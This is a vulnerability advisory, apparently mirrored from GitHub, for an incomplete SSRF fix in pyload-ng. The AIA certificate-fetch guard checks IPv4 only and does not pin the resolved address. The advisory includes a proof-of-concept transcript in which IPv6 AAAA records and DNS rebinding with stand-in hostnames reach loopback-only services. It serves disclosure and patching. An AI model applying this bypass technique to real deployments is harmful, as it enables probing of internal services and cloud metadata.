GHSA-R7G6-CG3J-RMC2
pyload-ng: incomplete fix for GHSA-74v8-hgwq-2ppv - AIA SSRF guard is bypassable (IPv6 destinations never validated, DNS rebinding)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-R7G6-CG3J-RMC2 divulgada · CVSS 5 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
The guard added for GHSA-74v8-hgwq-2ppv (commit `8af2b1a`, the code intended to ship as
`0.5.0b3.dev102`) validates every AIA CA-issuers URL with a single DNS lookup, and then
lets `urllib` resolve the same hostname again for the actual request. The validation is
performed by `is_global_host()` -> `host_to_ip()`, which calls
`socket.getaddrinfo(..., family=AF_INET)`, i.e. it looks at IPv4 only, and the address
that was validated is never pinned to the connection.
That leaves two independent bypasses:
- IPv6 destinations are never checked. A hostname whose A record is global and whose
- The check is not tied to the connection (DNS rebinding). An attacker-controlled name
Both were reproduced through the real code path. With `allow_private_ip=False`,
`SafeAiaChaser.aia_chase_cert()` on a certificate whose AIA CA-issuers URI points at such a
name issued an HTTP GET to a service bound only to `127.0.0.1:8080` and to a service bound
only to `[::1]:8080`, while the literal controls `http://127.0.0.1:8080/` and
`http://[::1]:8080/` are correctly refused by the same code.
This fetch is performed with `urllib` and never passes through the pycurl
`PREREQFUNCTION` guard, so `SafeAiaChaser` is the only containment for this path: the parent
issue (an authenticated user causing pyLoad to issue blind HTTP GET requests to internal
hosts) is still reachable in the version that is supposed to fix it.
Details
Affected code (develop @ 8af2b1a, the fix for GHSA-74v8-hgwq-2ppv)
`src/pyload/core/network/http/safe_aia_chaser.py`
def _validate_aia_url(url, allow_private_ip=False):
...
if (
parsed_url is None
or parsed_url.scheme.lower() not in ("http", "https")
or not host
or (not allow_private_ip and not is_global_host(host)) # line 28
):
raise ValueError("AIA CA issuer URL has a non-global destination")
def _download_aia_certificate(url, allow_private_ip=False):
opener = urllib.request.build_opener(
_AiaRedirectHandler(allow_private_ip=allow_private_ip)
)
with opener.open(url, timeout=DEFAULT_URLOPEN_TIMEOUT) as response: # line 47
...`src/pyload/core/utils/web/check.py` (introduced with GHSA-7gvf / GHSA-m5x5 hardening)
def is_global_host(value):
ips = host_to_ip(value)
return ips and all((is_global_address(ip) for ip in ips)) # line 158`src/pyload/core/utils/web/convert.py`
def host_to_ip(hostname):
try:
IPs = [
result [4][0]
for result in socket.getaddrinfo(hostname, None, family=socket.AF_INET, type=socket.SOCK_STREAM) # line 28
]
except socket.gaierror:
IPs = []
return IPs`host_to_ip()` has returned IPv4 addresses only since it was created (commit `6176863f13`,
2026-03-25) and has never been changed since.
1. IPv6 is never validated
`host_to_ip()` asks the resolver for `family=AF_INET`, so an AAAA record is invisible to
`is_global_host()`. `all(...)` therefore only ever sees IPv4 addresses and the intent of
`test_is_global_host_requires_all_resolved_addresses_to_be_global` ("all resolved addresses
must be global") cannot be met for a dual-stack name: the private address is simply never
returned. Note that the surrounding helpers already handle IPv6 deliberately
(`is_global_address` unwraps IPv4-mapped and NAT64 forms via `is_embedded_ipv4`), but they
are unreachable for hostname input because the resolver call filters the family out.
The actual request is made later, in `_download_aia_certificate()` -> `urllib.request` ->
`socket.create_connection()`, which resolves with `AF_UNSPEC` and applies the usual address
preference (RFC 3484: `::1` has higher precedence than a global IPv4 address). The
fetcher therefore connects to the IPv6 loopback (or any private IPv6 address) even though
`is_global_host()` returned `True`.
Observed with a name whose only records are `A 93.184.216.34` and `AAAA ::1`:
host_to_ip view of six.aiapoc.evil: ['93.184.216.34']
AF_UNSPEC view (what the connection uses): [('AF_INET6', '::1'), ('AF_INET', '93.184.216.34')]
is_global_host(six.aiapoc.evil) -> True <-- guard satisfied
is_global_address('::1') -> False2. The validation result is not pinned to the connection (DNS rebinding)
`_validate_aia_url()` resolves the hostname and then discards the result. Some
milliseconds later the same hostname is resolved a second time, independently, inside
`urllib`/`socket.create_connection()`. The `aia-chaser` design gives the attacker full
control of that name: the name is embedded in the AIA CA-issuers URI of the certificate
served by the download host that the attacker controls. A DNS answer sequence of
"global address, then `127.0.0.1`" (classic DNS rebinding) passes the check and then
connects to loopback. There is no post-connection verification anywhere in this path.
Contrast: the pycurl download path already defends against exactly this
`HttpRequest` verifies the address that was actually connected to, after the TCP/TLS
handshake, and not just a DNS answer:
`src/pyload/core/network/http/http_request.py`
def _pre_request_callback(self, conn_primary_ip, conn_local_ip, conn_primary_port, conn_local_port): # line 670
...
if not self.allow_private_ip:
is_proxy_ip = self.http_proxy_host and self.http_proxy_host == (conn_primary_ip, conn_primary_port)
if not is_global_address(conn_primary_ip) and not is_proxy_ip: # line 687
self.bad_ip = conn_primary_ip
return pycurl.PREREQFUNC_ABORTThe AIA fetcher (urllib, not pycurl) has no equivalent, so it is the one remaining place in
the certificate path that trusts a DNS answer. The `_AiaRedirectHandler` check has the same
weakness for redirect targets.
The existing tests cannot catch either bypass
`tests/unit/test_http_aia_chaser.py` monkeypatches `check.host_to_ip` / `is_global_host` to
return or answer lists of IPv4 literals (e.g. `["8.8.8.8", "169.254.169.254"]`) and uses
`127.0.0.1` literals for the negative cases. No test exercises the real resolver, a
dual-stack hostname, or a hostname that resolves differently on the second lookup.
Proof of concept
Environment
- pyLoad source: `develop` at `8af2b1a282f20932d3cd3d7f43d123d57e25fe9b`
- Everything runs inside a throwaway network namespace, so nothing outside it is contacted:
- `127.0.0.1:53` - a small UDP DNS server that answers per query,
- `127.0.0.1:8080` and `[::1]:8080` - the "internal" HTTP services (they log every request),
- `/etc/resolv.conf` inside the namespace points at `127.0.0.1`.
- The certificate used at the end is generated locally with `cryptography`: a leaf whose
The DNS server returns:
- `six.aiapoc.evil` - `A 93.184.216.34` (always) and `AAAA ::1` (always) -> bypass 1,
- `rebind1/2.aiapoc.evil` - `A 93.184.216.34` for the first lookup(s), then `A 127.0.0.1`
Transcript
[HTTP] internal service on 127.0.0.1:8080 (IPv4 loopback)
[HTTP] internal service on ::1:8080 (IPv6 loopback)
code under test: /tmp/opencode/pyload-git/src/pyload/core/network/http/safe_aia_chaser.py
============================================================
1. the guard's DNS lookup only ever sees IPv4
============================================================
convert.host_to_ip: for result in socket.getaddrinfo(hostname, None, family=socket.AF_INET, type=socket.SOCK_STREAM)
host_to_ip view of six.aiapoc.evil: ['93.184.216.34']
AF_UNSPEC view (what the connection uses): [('AF_INET6', '::1'), ('AF_INET', '93.184.216.34')]
is_global_host(six.aiapoc.evil) -> True <-- guard satisfied
is_global_address('::1') -> False
============================================================
2. control: an ordinary internal destination is refused
============================================================
http://127.0.0.1:8080/ca.crt -> refused: AIA CA issuer URL has a non-global destination
http://[::1]:8080/ca.crt -> refused: AIA CA issuer URL has a non-global destination
============================================================
3. bypass #1: global A record + loopback AAAA record
============================================================
[DNS] six.aiapoc.evil type=A -> 93.184.216.34
_validate_aia_url('http://six.aiapoc.evil:8080/ca.crt') -> accepted, no exception
[DNS] six.aiapoc.evil type=A -> 93.184.216.34
[DNS] six.aiapoc.evil type=AAAA -> ::1
[HTTP:IPv6 loopback] request from ::1:41106 for /ca.crt
_download_aia_certificate raised CertificateDownloadError (the body is not a cert), but:
>>> ::1:41106 requested /ca.crt (IPv6 loopback)
============================================================
4. bypass #2: DNS rebinding on a single lookup
============================================================
[DNS] rebind1.aiapoc.evil type=A -> 93.184.216.34 (lookup #1)
_validate_aia_url('http://rebind1.aiapoc.evil:8080/ca.crt') -> accepted, no exception
[DNS] rebind1.aiapoc.evil type=A -> 127.0.0.1 (lookup #2)
[HTTP:IPv4 loopback] request from 127.0.0.1:42288 for /ca.crt
_download_aia_certificate raised CertificateDownloadError (the body is not a cert), but:
>>> 127.0.0.1:42288 requested /ca.crt (IPv4 loopback)
============================================================
5. end-to-end through SafeAiaChaser.aia_chase_cert()
============================================================
[IPv6 gap] certificate AIA CA-issuer = http://six.aiapoc.evil:8080/intermediate.crt
[DNS] six.aiapoc.evil type=A -> 93.184.216.34
[DNS] six.aiapoc.evil type=A -> 93.184.216.34
[DNS] six.aiapoc.evil type=A -> 93.184.216.34
[DNS] six.aiapoc.evil type=AAAA -> ::1
[HTTP:IPv6 loopback] request from ::1:41114 for /intermediate.crt
aia_chase_cert() raised AiaChaseExhaustedError: AIA chasing failed after exhausting all CA urls
>>> ::1:41114 requested /intermediate.crt (IPv6 loopback)
[DNS rebinding] certificate AIA CA-issuer = http://rebind2.aiapoc.evil:8080/intermediate.crt
[DNS] rebind2.aiapoc.evil type=A -> 93.184.216.34 (lookup #1)
[DNS] rebind2.aiapoc.evil type=A -> 93.184.216.34 (lookup #2)
[DNS] rebind2.aiapoc.evil type=A -> 127.0.0.1 (lookup #3)
[HTTP:IPv4 loopback] request from 127.0.0.1:42290 for /intermediate.crt
aia_chase_cert() raised AiaChaseExhaustedError: AIA chasing failed after exhausting all CA urls
>>> 127.0.0.1:42290 requested /intermediate.crt (IPv4 loopback)
============================================================
RESULT
============================================================
IPv6 gap : fetcher reached an internal service -> YES
DNS rebinding : fetcher reached an internal service -> YES
direct bypasses: YESThe `CertificateDownloadError` / `AiaChaseExhaustedError` exceptions are expected and are
raised only *after* the request has been sent (the test services answer `not a certificate`);
the point of the run is the `[HTTP:...] request from ...` line showing the connection to the
loopback-only services. `aia_chase_cert()` resolves the name twice (once in
`_validate_aia_url` per URL, once in `_try_download_aia_certificates`), which is why the
rebinding name is configured to answer "global" for the first two lookups.
The full harness (~200 lines: DNS server, HTTP services, certificate construction, the
namespace wrapper) can be attached or sent as a gist if you want to run it yourself; it
needs only `sudo unshare -n --mount` and the venv's Python.
Impact
Same impact as the parent advisory GHSA-74v8-hgwq-2ppv, and reached through the code that was
added to prevent it: on a deployment where an administrator has selected the
"on (using aia-chaser)" SSL verification mode, an authenticated user with the standard
link-adding permission can make the pyLoad server issue blind HTTP GET requests to
attacker-chosen internal hosts and ports by submitting an HTTPS URL whose certificate carries
an AIA CA-issuers URI pointing at a name that (a) also has a private AAAA record or (b)
resolves to a private address on the second lookup (DNS rebinding).
This re-opens the internal-service/port reachability and cloud-metadata probing capability
that GHSA-74v8-hgwq-2ppv was published for, because the AIA fetch uses `urllib` and does not
pass through the pycurl `PREREQFUNCTION` guard - `SafeAiaChaser` is the only guard on that
path, and it can be bypassed. The fetch remains blind (the response is consumed as
certificate data and is not returned to the attacker), and no request body is
attacker-controlled, so no confidentiality/integrity/availability impact beyond the parent
advisory was demonstrated.
The practical severity is the same as the parent (medium, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N),
but the guard that the parent's rating depends on does not actually hold for IPv6 or for
re-resolving hostnames, so the fix can be considered complete only after those are addressed.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypipyload-ng |
Sin parche | — | — | 0.5.0b3.dev102 no afectada |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/pyload/pyload/security/advisories/GHSA-r7g6-cg3j-rmc2Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
